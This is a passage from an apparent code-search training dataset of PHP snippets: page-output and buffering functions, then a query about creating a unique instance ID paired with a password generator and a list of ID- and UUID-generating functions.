$this->output;\n }", "function print_content()\n{\n ob_start();\n $content = $GLOBALS['content'];\n if (!isset($content))\n {\n $content .= \"No Content to display\";\n }\n print($content);\n ob_end_flush();\n}", "public function startContent() {\n ob_start();\n }", "public function main(){\n $pdf = new PDF();\n $pdf->AliasNbPages();\n $pdf->AddPage();\n $pdf->SetFont('Times','',12);\n for($i=1;$i<=40;$i++){\n $pdf->Cell(0,10,'Printing line number '.$i,0,1);\n }\n\n // First page\n $html = 'You can now<np> easily print text mixing different styles: <b>bold</b>, <i>italic</i>,\n <u>underlined</u>, or <b><i><u>all at once</u></i></b>!<br><br>You can also insert links on\n text, such as <a href=\"http://www.fpdf.org\">www.fpdf.org</a>, or on an image: click on the logo.';\n\n $pdf->AddPage();\n $pdf->SetFont('Arial','',20);\n // $pdf->Write(5,\"To find out what's new in this tutorial, click \");\n // $pdf->SetFont('','U');\n // $link = $pdf->AddLink();\n // $pdf->Write(5,'here',$link);\n // $pdf->SetFont('');\n // // Second page\n // $pdf->AddPage();\n // $pdf->SetLink($link);\n // $pdf->Image('logo.png',10,12,30,0,'','http://www.fpdf.org');\n $pdf->SetLeftMargin(15);\n $pdf->SetFontSize(14);\n $pdf->WriteHTML($html);\n\n $pdf->Output();\n\n }", "function printGzippedPage() {\n\n\t global $HTTP_ACCEPT_ENCODING;\n\t if( headers_sent() ){\n\t $encoding = false;\n\t }elseif( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false ){\n\t $encoding = 'x-gzip';\n\t }elseif( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false ){\n\t $encoding = 'gzip';\n\t }else{\n\t $encoding = false;\n\t }\n\n\t if( $encoding ){\n\t $contents = ob_get_contents();\n\t ob_end_clean();\n\t header('Content-Encoding: '.$encoding);\n\t print(\"\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\");\n\t $size = strlen($contents);\n\t $contents = gzcompress($contents, 9);\n\t $contents = substr($contents, 0, $size);\n\t print($contents);\n\t exit();\n\t }else{\n\t ob_end_flush();\n\t exit();\n\t }\n\t}", "function printBottom() {\n\n print\n \n \"\\n</body> \\n\".\n \"</html> \\n\";\n}", "static function output(LK_PDF $pdf){\n drupal_get_messages();\n ob_clean();\n $pdf->Output();\n drupal_exit(); \n }", "private function t2($content) { echo $content;\n// flush();\n ob_flush();\n }", "public function displayAdminPage()\n {\n ob_start();\n echo 'test';\n\n }", "public function printContent()\n {\n GeneralUtility::logDeprecatedFunction();\n $this->content .= $this->doc->endPage();\n $this->content = $this->doc->insertStylesAndJS($this->content);\n echo $this->content;\n }", "public function writePage()\n\t{\n\t\t$this->SetHeaderMargin(5);\n\t\t$this->SetFooterMargin(30);\n if($this->PageNo() > 1) {\n } else {\n }\n\t\t$this->AddPage('','',true);\n// $t = $this->getCellMargins();\n// var_dump($t);\n $this->setCellPaddings(0,0,0,0);\n\n\t\t$this->writeHTML($this->content, true, false, true, false, '');\n\t}", "function flush() {\r\n\t\t\tob_start();\r\n\t\t\t?>\r\n\t\t\t <div class=\"progressbar\" style=\"position:relative;overflow:hidden; height: <?php echo $this->height ; ?>px;width:<?php echo $this->length ; ?>px;\">\r\n\t\t\t\t<img src=\"<?php echo plugin_dir_url(\"/\").\"/\".str_replace(basename(__FILE__),\"\",plugin_basename( __FILE__)); ?>/img/progressbar.png\" style='position:absolute;left:0;top:-<?php echo floor(2*$this->height) ; ?>px;height:<?php echo floor(3*$this->height) ; ?>px;width:<?php echo $this->length ; ?>px;'/>\r\n\t\t\t\t<img id=\"<?php echo $this->id.\"_image\"; ?>\" src=\"<?php echo plugin_dir_url(\"/\").\"/\".str_replace(basename(__FILE__),\"\",plugin_basename( __FILE__)); ?>/img/progressbar.png\" style='position:absolute;left:0;top:0px;height:<?php echo floor(3*$this->height) ; ?>px;width:<?php echo floor($this->length*$this->start/100) ; ?>px;'/>\r\n\t\t\t\t<div id=\"<?php echo $this->id.\"_text\"; ?>\" style='position:absolute;left:0;top:0px;height:<?php echo $this->height; ?>px;text-align:center;line-height:<?php echo $this->height; ?>px;width:<?php echo $this->length ; ?>px;'><?php echo $this->insideText?>&nbsp;</div>\r\n\t\t\t</div>\r\n\t\t\t\r\n\t\t\t<?php\r\n\t\t\techo ob_get_clean();\r\n\t\t}", "protected function dumpPage() {\n\t\tif ($this->_debugCatcher !== null) {\n\t\t\t$this->_debugCatcher->flush();\n\t\t}\n\n\t\t$this->_dumped = true;\n\t\tparent::dumpPage();\n\t}", "function display($tags)\n\t{\n\t\tglobal\t$gProfiler;\n\n\t\t# substitute other tags\n\t\t$this->sub_tags($tags);\n\n\n\t\techo $this->output;\n\n\t\tif\t($gProfiler)\n\t\t{\n\t\t\t$len\t=\tnumber_format(strlen($this->output)/ 1024,2) ;\n\t\t\t$gProfiler->log(\"template page size:$len Kb\");\n\n\t\t\t# displays profiler output if turned on\n\t\t\t$gProfiler->display();\n\t\t}\n\n\t}", "public function printContent()\n {\n echo $this->content;\n }", "function main()\n {\n if (gpExists('gp_out')) {\n ob_start();\n $this->mainPull();\n ob_end_clean();\n } else {\n $this->mainHTML();\n }\n }", "public function display()\n\t{\n\t\tob_start();\n\t\t\n\t\t$content = ob_get_contents();\n\t\tob_end_clean();\n\t\treturn $content;\n\t}", "public function printAlignmentPage ()\r\n {\r\n $row_count = $this->number_of_rows;\r\n $col_count = $this->number_of_columns;\r\n $return = '';\r\n $test_block = '\r\n <div class=\"testpage\">Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas diam purus, fermentum vitae, tempus id, placerat at, dui. Ut vel orci et enim pellentesque pretium. Duis aliquam nulla vel orci. Sed sit amet ante a sem sodales bibendum. Curabitur faucibus bibendum erat. Suspendisse dolor est, mollis sit amet, lobortis in, blandit ultricies, urna. Nulla mollis nunc ac quam. Duis id orci non turpis elementum iaculis. Sed porttitor tincidunt pede. Nulla non justo id augue pretium porttitor. Suspendisse potenti. Suspendisse blandit, elit sit amet consectetuer accumsan, turpis ante facilisis enim, nec pellentesque magna purus id orci.<br>\r\n Praesent tortor mauris, mollis non, tempor vitae, aliquet vitae, augue. Nullam diam. Vestibulum et urna. Nunc in sapien. In elementum est et diam. Vivamus nulla tellus, porta eget, tempus eget, fringilla sed, lacus. Suspendisse purus libero, consequat eu, lobortis non, luctus in, sapien. Aenean quam eros, rhoncus vel, iaculis et, scelerisque in, magna. Aenean hendrerit, odio id mollis varius, urna pede vulputate massa, ac blandit arcu justo laoreet purus. Integer et felis at lectus commodo consequat. Vestibulum a arcu. Donec est ligula, viverra ac, tempor sit amet, ultrices quis, pede.</div>';\r\n $return .= '<style>'.$this->getLabelCSS().'\r\n </style>';\r\n $return .= $this->beginLabelSheet();\r\n while (--$row_count > 0)\r\n {\r\n $return .= $test_block;\r\n $return .= $this->advanceLabelRow();\r\n }\r\n while (--$col_count > 0)\r\n {\r\n $return .= $test_block;\r\n $return .= $this->advanceLabel();\r\n }\r\n $return .= $test_block;\r\n $return .= $this->finishLabelSheet();\r\n return $return;\r\n }", "function printContent()\t{\n\t\techo $this->content;\n\t}", "function printContent()\t{\n\t\techo $this->content;\n\t}", "function writePage($text) {\n //TODO: Write the text to the page.\n return 1;\n }", "public function start_output() {\n echo \"<!DOCTYPE html><html><head>\";\n echo \\html_writer::empty_tag('meta', ['charset' => 'UTF-8']);\n echo \\html_writer::tag('title', $this->filename);\n echo \"<style>\nhtml, body {\n margin: 0;\n padding: 0;\n font-family: sans-serif;\n font-size: 13px;\n background: #eee;\n}\nth {\n border: solid 1px #999;\n background: #eee;\n}\ntd {\n border: solid 1px #999;\n background: #fff;\n}\ntr:hover td {\n background: #eef;\n}\ntable {\n border-collapse: collapse;\n border-spacing: 0pt;\n width: 80%;\n margin: auto;\n}\n</style>\n</head>\n<body>\";\n }", "function pr($var) {\n\t\t\t\n\t\t\tob_start();\n\t\t\tprint_r($var);\n\t\t\t$content = ob_get_contents();\n\t\t\tob_clean();\n\t\t\t\n\t\t\techo \"<pre>\";\n\t\t\techo htmlentities($content);\n\t\t\techo \"</pre>\";\n\t}", "function dumpContents()\r\n {\r\n\r\n $attributes = $this->_getCommonAttributes();\r\n\r\n //TODO [Perez][JLeon] Do we leave this method?\r\n // call the OnShow event if assigned so the Text property can be changed\r\n if ($this->_onshow != null)\r\n {\r\n $this->callEvent('onshow', array());\r\n }\r\n\r\n $avalue = $this->_text;\r\n $avalue=str_replace('\"','&quot;',$avalue);\r\n $type = \"progress\";\r\n if ($this->_type == pbsMeterBar)\r\n $type = \"meter\";\r\n echo \"<$type id=\\\"$this->_name\\\" value=\\\"$avalue\\\" $attributes>$this->_text</$type>\";\r\n\r\n }", "protected function output_result($res)\n\t{\n\t\tglobal $s_runconf;\n\t\t$nw = get_microtime();\n\n\t\t$this->output_headers();\n\t\techo $res;\n\n\t\tif (DEBUG)\n\t\t{\n\t\t\tdwrite('**[Page processing end]**');\n\t\t\tdwrite('Page processing takes: ' . number_format(($nw - $this->_start_time), 8));\n\t\t\tdwrite('SQL parsing takes: ' . number_format($s_runconf->get('time.sql.parse'), 8));\n\t\t\tdwrite('SQL queries takes: ' . number_format($s_runconf->get('time.sql.query'), 8));\n\t\t\tdwrite('Templates takes: ' . number_format($s_runconf->get('time.template'), 8) . ' (approx, including template loading)');\n\n\t\t\t$debuglog_str = dflush_str();\n\n\t\t\tif (LOG_DEBUG_INFO) {\n\t\t\t\t_log(\"[[ Page info ]]\\n\\n$debuglog_str\\n\\n\");\n\t\t\t}\n\n\t\t\tif ($this->content_type=='text/html' && SHOW_DEBUG_INFO)\n\t\t\t{\n\t\t\t\techo '<div style=\"z-index:99999;position:absolute;top:0;left:0;font-size:10px;font-family:Tahoma;font-weight:bold;background-color:#000;color:#FFF;cursor:pointer;cursor:hand;\"';\n\t\t\t\techo ' onclick=\"var s=document.getElementById(\\'__s_debug__\\').style;s.display=s.display==\\'\\'?\\'none\\':\\'\\';return false;\">#</div>';\n\t\t\t\techo '<div id=\"__s_debug__\" style=\"z-index:99999;position:absolute;top:15px;left:10px;border:1px solid #888;background-color:#FFF;overflow:auto;width:800px;height:300px;display:none;\">';\n\t\t\t\techo '<pre style=\"text-align:left;padding:5px;margin:0;\" class=\"s-debug\">';\n\t\t\t\techo get_debuglog_html($debuglog_str);\n\t\t\t\techo '</pre></div>';\n\t\t\t}\n\t\t}\n\t}", "private function buildPage() {\n ob_clean();\n ob_start();\n\n //session_start();\n require_once $this->_template;\n\n $this->_page = ob_get_clean();\n }", "private function output() {\n \n Quantum\\Output::smartyRender();\n \n }", "function pr($obj) {\n\n if (!$this->is_cli())\n echo '<pre style=\"word-wrap: break-word\">';\n if (is_object($obj))\n print_r($obj);\n elseif (is_array($obj))\n print_r($obj);\n else\n echo $obj;\n if (!$this->is_cli())\n echo '</pre>';\n }", "public static function output() {}", "public function printout()\n\t\t{\tif (isset($this->res) && (mysql_num_rows($this->res) > 0))\n\t\t\t{\tmysql_data_seek($this->res, 0);\n\t\t\t\t$num = mysql_num_fields($this->res);\n\n\t\t\t\techo \"<table border=1>\";\n\t\t\t\techo \"<tr>\";\n\n\t\t\t\tfor ($i = 0; $i < $num; $i++)\n\t\t\t\t{\techo \"<th>\";\n\t\t\t\t\techo mysql_field_name($this->res, $i);\n\t\t\t\t\techo \"</th>\";\n\t\t\t\t}\n\t\t\t\techo \"</tr>\";\n\n\t\t\t\twhile ($row = mysql_fetch_row($this->res))\n\t\t\t\t{\techo \"<tr>\";\n\n\t\t\t\t\tforeach($row as $elem)\n\t\t\t\t\t{\techo \"<td>$elem</td>\";\n\t\t\t\t\t}\n\n\t\t\t\t\techo \"</tr>\";\n\t\t\t\t}\n\n\t\t\t\techo \"</table>\";\n\t\t\t}\n\n\t\t\telse\n\t\t\t\techo \"There is nothing to print! <br />\";\n\t\t}", "function printMe(){\n ?>\n <table cellspacing=\"0\" cellpadding=\"0\" class=\"rounded comment\">\n <tr>\n <td class=\"corner\">\n <img src=\"img/lt.gif\" alt=\"\" width=\"4\" height=\"6\">\n <td>\n <td class=\"corner\">\n <img src=\"img/rt.gif\" alt=\"\" width=\"4\" height=\"6\">\n <tr><td>\n <td>\n <div class=\"userName\"><?php echo $this->userName;?></div>\n <div class=\"time\"><?php echo self::formatTime($this->time);?></div>\n <div class=\"text\"><?php echo self::formatText($this->text);?></div>\n <td>\n <tr>\n <td class=\"corner\">\n <img src=\"img/lb.gif\" alt=\"\" width=\"4\" height=\"6\">\n <td>\n <td class=\"corner\">\n <img src=\"img/rb.gif\" alt=\"\" width=\"4\" height=\"6\">\n\n </table>\n <?php\n }", "function show() {\n // Abort if empty file\n if($this->oParser->oManager->tsCurDate < 1) {\n return;\n }\n \n // We want to process the output later\n ob_start();\n\n $this->printHeading();\n $this->printDailyMessages();\n $this->printAbsentTeachers();\n $this->printStandInTable();\n $this->printStandInTableFooter();\n\n $str = ob_get_clean();\n #debugPrint($str);\n echo vpBeautifyString($str);\n }", "public function printText() {\n\t\tfor ($i = 0; $i < count($this->textToPrint); $i++) {\n\t\t echo $this->textToPrint[$i].\"\\n\";\n\t\t}\n\t}", "private function printStartPage() {\n\t\treadfile ( 'html/start.html' );\n\t}", "public function run()\n\t{\n\t\techo vsprintf($this->template,$this->_contents);\n\t}", "public function drawPage()\n\t\t{\n\t\t}", "function nested_printer(Buffer $buffer) {\n for( $i = 0; $i < 5; $i++ ) {\n // Yield a promise task and wait for the result - this is non-blocking\n $value = ( yield Util::async($buffer->read()) );\n\n echo \"Nested printer: \", $value, PHP_EOL;\n }\n}", "public function run()\n\t{\n\t\t$this->renderContent();\n\t\t$content=ob_get_clean();\n\t\tif($this->hideOnEmpty && trim($content)==='')\n\t\t\treturn;\n\t\techo $content;\n\t}", "public function saveBuffer(): void {\n\t\t// Get content && update page content\n\t\t$this->setPageContent($this->readBuffer());\n\t}" ]
[ "0.74144536", "0.6683962", "0.6624883", "0.6509824", "0.6489137", "0.64627653", "0.64573014", "0.64573014", "0.64573014", "0.64404124", "0.6432743", "0.6432743", "0.6432743", "0.6432743", "0.6432743", "0.64322805", "0.64322805", "0.64322805", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6430888", "0.6418803", "0.64014024", "0.6362143", "0.6360799", "0.6305687", "0.6229285", "0.6228061", "0.6223628", "0.61276877", "0.6113756", "0.6102317", "0.60977423", "0.6069571", "0.60103965", "0.59860426", "0.598345", "0.59634495", "0.5941299", "0.59326226", "0.59253854", "0.59212273", "0.5907531", "0.58931303", "0.58828473", "0.588238", "0.5864921", "0.58467156", "0.5843304", "0.58349895", "0.5817912", "0.5816841", "0.58158976", "0.580793", "0.5780954", "0.57742554", "0.5774097", "0.57676184", "0.5749147", "0.5729246", "0.57240176", "0.5709228", "0.570398", "0.56979245", "0.5695013", "0.5683339", "0.5651596", "0.5648922", "0.5648408", "0.56446993", "0.5640482", "0.5640482", "0.5637966", "0.56327564", "0.5618802", "0.5613569", "0.5611233", "0.5610314", "0.5594768", "0.5589851", "0.5583917", "0.5581104", "0.5576774", "0.5576682", "0.5547098", "0.5533582", "0.5527738", "0.5523457", "0.5522962", "0.5514882", "0.55002165" ]
0.0
-1
Creates a unique instance ID
public function generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) $chars .= '!@#$%^&*()'; if ( $extra_special_chars ) $chars .= '-_ []{}<>~`+=,.;:/?|'; $password = ''; for ( $i = 0; $i < $length; $i++ ) { $password .= substr($chars, self::rand(0, strlen($chars) - 1), 1); } // random_password filter was previously in random_password function which was deprecated return $password; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static final function generateInstanceUuid() {\n return Config::generateUuid('instance');\n }", "private function generateId()\n {\n $startHex = dechex((int)$this->startTime);\n $uuid = bin2hex(random_bytes(12));\n\n return \"1-{$startHex}-{$uuid}\";\n }", "static function makeID() {\n return uniqid();\n }", "private function generateId() {\n $this->setId(AgaviToolkit::uniqid(\"ldap_conn_\"));\n }", "protected function _createUniqueId()\n {\n $id = '';\n $id .= function_exists('microtime') ? microtime(true) : (time() . ' ' . rand(0, 100000));\n $id .= '.' . (function_exists('posix_getpid') ? posix_getpid() : rand(50, 65535));\n $id .= '.' . php_uname('n');\n\n return $id;\n }", "private function make_id () {\n // http://sourceforge.net/projects/phunction/\n return sprintf('%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));\n }", "protected function generateId()\n {\n }", "public function createID()\n {\n $myID = new \\MongoID();\n\n return (string) $myID;\n }", "function gen_id() {\n\t\t$this->id = get_uid();\n\t\t$this->mk_paths($this->id);\n\t}", "public function newId()\n {\n return md5(microtime());\n }", "public function id() {\n\t\tif ( null === $this->_id ) {\n\t\t\t$this->_id = sha1( mt_rand() . microtime( true ) . mt_rand() );\n\t\t}\n\n\t\treturn $this->_id;\n\t}", "public function getInstanceIdent() {}", "public function generateId()\n {\n $session_id = $this->request->param($this->sid_key, '');\n $_session_id = explode('-',$session_id ? xn_decrypt($session_id):'');\n $this->ip = isset($this->request->server['REMOTE_ADDR'])?$this->request->server['REMOTE_ADDR']:'127.0.0.1';\n $this->useragent = isset($this->request->server['USER-AGENT'])? md5($this->request->server['USER-AGENT']):'';\n $this->sid = ($_session_id[2]&&$this->useragent==$_session_id[1]) ? $_session_id[2] : get_uniqid(32);\n $this->sess_key = $_session_id[2]==$this->sid ? $session_id : xn_encrypt(getut().'-'.$this->useragent.'-'.$this->sid.'-'.$this->ip);\n }", "private function createSid()\n\t{\n\t\t$id = uniqid($this->VF->input->ipAddress(),TRUE);\n\t\t$id = join('',explode('.',$id));\n\t\treturn md5($id);\n\t}", "public function generateNewId()\n {\n return Uuid::uuid4();\n }", "protected function getInstanceIdentifier() {}", "public function getInstanceId()\n {\n if ($this->instance_id) {\n return $this->instance_id;\n }\n\n return $this->instance_id = get_class($this).':'.spl_object_id($this);\n }", "function _createId( )\n\t{\n\t\t$agent = $_SERVER['HTTP_USER_AGENT'];\n\t\t$id = md5( $agent . uniqid(dechex(rand())) . $_SERVER['REMOTE_ADDR'] );\n\t\treturn $id;\n\t}", "static function uniqueID()\n {\n return substr(str_pad(str_replace('.', '', microtime(true)), 12, 0), 0, 12);\n }", "function getNewId();", "public static function generateID()\n {\n static $sequence = 0;\n list($mt, $tm) = explode(\" \", microtime());\n return strftime('%Y%m%d@%H%M%S', $tm )\n .sprintf(\".%03d\",(int)($mt*1000))\n .'/'\n .sprintf(\"%08x\",mt_rand())\n .':'\n .sprintf(\"%04x\", ++$sequence );\n }", "function getInstanceId() \n {\n return $this->instance->getInstanceId();\n }", "abstract public function unique_id();", "protected function generateId() {\n return $this->id = md5(uniqid());\n }", "public function genid()\n {\n $date = new DateTime();\n $date->setTimestamp(now());\n $time_based_name = $date->format('YmdHis');\n return $time_based_name . rand(1, 9);\n }", "public function getUniqueId();", "public function getUniqueId();", "public function getUniqueId();", "protected function generateIdByName(): string\n {\n return \"auto_id_\" . $this->name;\n }", "protected function _generateId()\n {\n return str_replace('.', '', microtime(true));\n }", "protected function generateSessionId()\n\t{\n\t\t//\\Log::info('custom session id created');\n\t\t//return sha1(uniqid('', true).Str::random(25).microtime(true));\n\n\n\t\t// use our own ID generation mechanism\n\t\t$id_hash = str_random(64);\n\n\t\treturn $id_hash;\n\n\t}", "function generate_id() {\n $this->last_image_id ++;\n return $this->last_image_id;\n }", "function createSurferID() {\n srand((double)microtime() * 10000000);\n // Paranoia mode: Repeat until an unused id is found\n // (which a correct implementation of uniq!!id() should\n // grant anyway ...)\n do {\n $id = (string)md5(uniqid(rand()));\n } while ($this->existID($id, TRUE));\n return $id;\n }", "protected function _uniqueId()\n {\n $t = explode(\" \", microtime());\n\n return sprintf(\n '%08s-%08s-%04s-%04x%04x',\n $this->_ipToHex(),\n substr(\"00000000\" . dechex($t[1]), -8),\n substr(\"0000\" . dechex(round($t[0] * 65536)), -4),\n mt_rand(0, 0xffff),\n mt_rand(0, 0xffff)\n );\n }", "public static function timeuuid() {}", "public function createUid()\n {\n $uid = uniqid();\n while (AutoEvent::where('uid', '=', $uid)->count() > 0) {\n $uid = uniqid();\n }\n $this->uid = $uid;\n }", "public function id(): string\n {\n if ($this->id) {\n return $this->id;\n }\n\n if ($this->name) {\n return $this->id = $this->generateIdByName();\n }\n\n return $this->id = Str::random(4);\n }", "public static function generateID()\n {\n return mt_rand();\n }", "function celerity_generate_unique_node_id() {\n static $uniq = 0;\n $response = CelerityAPI::getStaticResourceResponse();\n $block = $response->getMetadataBlock();\n\n return 'UQ'.$block.'_'.($uniq++);\n}", "function recurringdowntime_generate_sid()\n{\n return md5(uniqid(microtime()));\n}", "public static function id()\n {\n return 1;\n }", "private function getInstanceId()\n\t{\n\t\t// Loop until the server's id is known (loop is a failsafe)\n\t\twhile(!$this->instanceId)\n\t\t{\n\t\t\t// Get the instance id of the currently running instance\n\t\t\t$this->instanceId = exec(\"wget -q -O - http://169.254.169.254/latest/meta-data/instance-id\");\n\n\t\t\t// If request failed\n\t\t\tif(!$this->instanceId)\n\t\t\t{\n\t\t\t\techo \"instance id problem. sleeping...\";\n\n\t\t\t\t// Wait 10 seconds before trying again.\n\t\t\t\tsleep(10);\n\t\t\t}\t\n\t\t}\t\n\t}", "public function generateUniqueId(){\n //PHPs uniquid function is time based and therefor guessable\n //A stright random MD5 sum is too long for email and tends to line break causing usability problems\n //So we get unique through uniquid and we get random by prefixing it with a part of an MD5\n //hopefully this results in a URL friendly short, but unguessable string\n $prefix = substr(md5(mt_rand()*mt_rand()),rand(0,24), rand(6,8));\n $this->uniqueId = \\uniqid($prefix);\n }", "abstract public function get_instanceid_from_currentcontext();", "function generateNewId(){\n\t\t$id = null;\n\t\t//while ( $this->getSessionData($id) !== null ){\n\t\t\t$id = rand(0,100000);\n\t\t//}\n\t\treturn $id;\n\t}", "public static function generateUniqueId()\n {\n $request = Request::createFromGlobals();\n $leftHandString = time(). '-';\n $rightHandString = '@' . $request->server->get('SERVER_NAME');\n $fillValue = bin2hex(get_current_user()) . '-' . mt_rand(1000000,9999999);\n\n $fillLength = self::MAX_LENGTH_PER_LINE - strlen($leftHandString) - strlen($rightHandString);\n if (strlen($fillValue) > $fillLength){\n $fillValue = substr($fillValue, 0, $fillLength);\n }\n\n $uniqueIdCandidate = $leftHandString . $fillValue . $rightHandString;\n $uniqueId = substr($leftHandString . $fillValue . $rightHandString, (strlen($uniqueIdCandidate) > self::MAX_LENGTH_PER_LINE) ? strlen($uniqueIdCandidate)-self::MAX_LENGTH_PER_LINE : 0);\n\n return $uniqueId;\n }", "public function generate_unique_id() {\n\n\t\t\trequire_once ABSPATH . 'wp-includes/class-phpass.php';\n\t\t\t$hasher = new PasswordHash( 8, false );\n\t\t\treturn md5( $hasher->get_random_bytes( 32 ) );\n\n\t\t}", "protected function getUniqueId() {\n return -1; // Placeholder return for now\n }", "public function generateUniqueId()\n {\n //PHPs uniquid function is time based and therefor guessable\n //A stright random MD5 sum is too long for email and tends to line break causing usability problems\n //So we get unique through uniquid and we get random by prefixing it with a part of an MD5\n //hopefully this results in a URL friendly short, but unguessable string\n $prefix = substr(md5(mt_rand() * mt_rand()), rand(0, 24), rand(6, 8));\n $this->uniqueId = \\uniqid($prefix);\n }", "public static function UserID()\n\t\t{\n\t\treturn sprintf\n\t\t\t(\n\t\t\t'%04x%04x-%04x-%04x-%04x-%04x%04x%04x',\n\t\t\tmt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0x0fff) | 0x4000,\n\t\t\tmt_rand(0, 0x3fff) | 0x8000,\n\t\t\tmt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0xffff),\n\t\t\tmt_rand(0, 0xffff)\n\t\t\t);\n\t\t}", "public function generateNumericId();", "abstract public function getUniqueId();", "public static function createBoundaryId()\n {\n return md5(uniqid(microtime()));\n }", "protected function _makeId()\n\t{\n\t\treturn JCache::makeId();\n\t}", "private function uuid(){\n return uniqid('');\n }", "private function getNewUuid() {\n return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',\n mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),\n mt_rand( 0, 0x0fff ) | 0x4000,\n mt_rand( 0, 0x3fff ) | 0x8000,\n mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) );\n }", "public function getUniqueId()\n {\n return '';\n }", "public function getId()\n {\n if (!$this->id) {\n $this->id = md5(uniqid(rand(), true));\n }\n return $this->id;\n }", "private function createGuid()\n {\n // section 127-0-1-1--751a8510:1443b2e74af:-8000:0000000000000C14 begin\n static $guid = '';\n $uid = uniqid(\"\", true);\n $data = mt_rand();\n $data .= isset($_SERVER['REQUEST_TIME']) ? $_SERVER['REQUEST_TIME'] : mt_rand();\n $data .= isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : mt_rand();\n $data .= isset($_SERVER['LOCAL_ADDR']) ? $_SERVER['LOCAL_ADDR'] : mt_rand();\n $data .= isset($_SERVER['LOCAL_PORT']) ? $_SERVER['LOCAL_PORT'] : mt_rand();\n $data .= isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : mt_rand();\n $data .= isset($_SERVER['REMOTE_PORT']) ? $_SERVER['REMOTE_PORT'] : mt_rand();\n $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));\n $guid = mt_rand(1,10) . \n substr($hash, 0, 8) . \n mt_rand(1,10) .\n substr($hash, 8, 4) .\n mt_rand(1,10) .\n substr($hash, 12, 4) .\n mt_rand(1,10) .\n substr($hash, 16, 4) .\n mt_rand(1,10) .\n substr($hash, 20, 12) .\n mt_rand(1,10);\n return $guid; \n // section 127-0-1-1--751a8510:1443b2e74af:-8000:0000000000000C14 end\n }", "public static function genNewUniqueId() {\n\t\treturn uniqid(mt_rand(), true);\n\t}", "protected function generateId() : string\n {\n return '';\n\n }", "static public function generateSID() {\n\t\treturn md5( $_SERVER['HTTP_USER_AGENT'] + $_SERVER['REMOTE_ADDR'] + time() + rand() );\n\t}", "public function tempId()\n {\n $this->id = uniqid('item');\n }", "public static function createUniqueID(): int\n {\n $number = mt_rand(1000000000, 9999999999); // better than rand()\n \n if (self::uniqueIdExists($number)) {\n return self::createUniqueID();\n }\n \n return $number;\n }", "public function regenerateId();", "public function regenerateId();", "public function getInstanceIdentifier(): string\n\t{\n\t\treturn (string) $this->getKey();\n\t}", "public static function id()\n {\n if (!ServerHelper::coroutineIsEnabled()) {\n return 0;\n }\n\n return SwCoroutine::getuid();\n }", "public function generateUID()\n {\n do {\n $key = md5(uniqid(mt_rand(), true));\n } while ($this->objectUidExists($key));\n\n return $key;\n }", "protected function make_uid()\n\t{\n\t\t$date = date('Ymd\\THisT');\n\t\t$unique = substr(microtime(), 2, 4);\n\t\t$base = 'aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPrRsStTuUvVxXuUvVwWzZ1234567890';\n\t\t$start = 0;\n\t\t$end = strlen( $base ) - 1;\n\t\t$length = 6;\n\t\t$str = null;\n\t\tfor( $p = 0; $p < $length; $p++ )\n\t\t{\n\t\t\t$unique .= $base{mt_rand( $start, $end )};\n\t\t}\n\t\treturn $date . '-' . $unique . ($this->num_to_letter(++$this->uid_counter));\n\t}", "function UniqueID(){\n\t\treturn uniqid ('Depari', true);\n\t}", "public function getModelInstanceID() : string\n {\n return \\md5(\\implode('-', $this->getModelInstanceElements()));\n }", "public static function create()\n {\n return sha1(uniqid('', true) . self::_random(20) . microtime(true));\n }", "protected function generateRandomId(){\n return Keygen::numeric(7)->prefix(mt_rand(1, 9))->generate(true);\n}", "private static function get_unique_id(){\n\t\tself::$u_id+=1;\n\t\treturn (string) self::$u_id;\n\t}", "public function generarCustomID(){\n return md5(\"$this->id $this->updated_at\");\n }", "private function generateId(int $length = 4): string\n {\n return base_convert(time(), 10, 36) . '-' . base_convert(mt_rand(0, pow(36, $length)), 10, 36);\n }", "public static function getNewGuid()\n {\n return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X',\n mt_rand(0, 65535),\n mt_rand(0, 65535),\n mt_rand(0, 65535),\n mt_rand(16384, 20479),\n mt_rand(32768, 49151),\n mt_rand(0, 65535),\n mt_rand(0, 65535),\n mt_rand(0, 65535)\n );\n }", "public static function uuid() {}", "public static function getID() {\r\n return 1;\r\n }", "protected final function _getUniqueId()\n {\n // Because this method is not static, this counter will start at zero\n // for each class.\n static $counter = 0;\n\n $counter++;\n\n return get_class($this).$counter;\n }", "function generateUUID($length=10) \n\t{\n $this->UUID = \"sh-\" . time() .\"-\". substr( md5(uniqid()), 0, $length); //md5 the unique number\n\t return $this->UUID;\n }", "public function regenerateId()\n {\n $this->checkIfStarted();\n\n $this->sessionId = $this->calculateSessionId();\n }", "function getUniqueID(){\n\t\treturn $this->module.'_'.$this->ID;\n\t}", "public function uniqueId(): string\n {\n return $this->person->id;\n }", "function Uuid()\n {\n $unid = uniqid() . str_replace('-', '', Guid());\n $uuid = substr($unid, 0, 8) . '-' . substr($unid, 8, 4) . '-' . substr($unid, 12, 4) . '-' . substr($unid, 16, 4) . '-' . substr($unid, 20, 12);\n return $uuid;\n }", "private static function generateNewPayloadId(\\DateTimeInterface $timestamp): string\n\t{\n\t\t// datetime.process id.random number@hostname\n\t\treturn 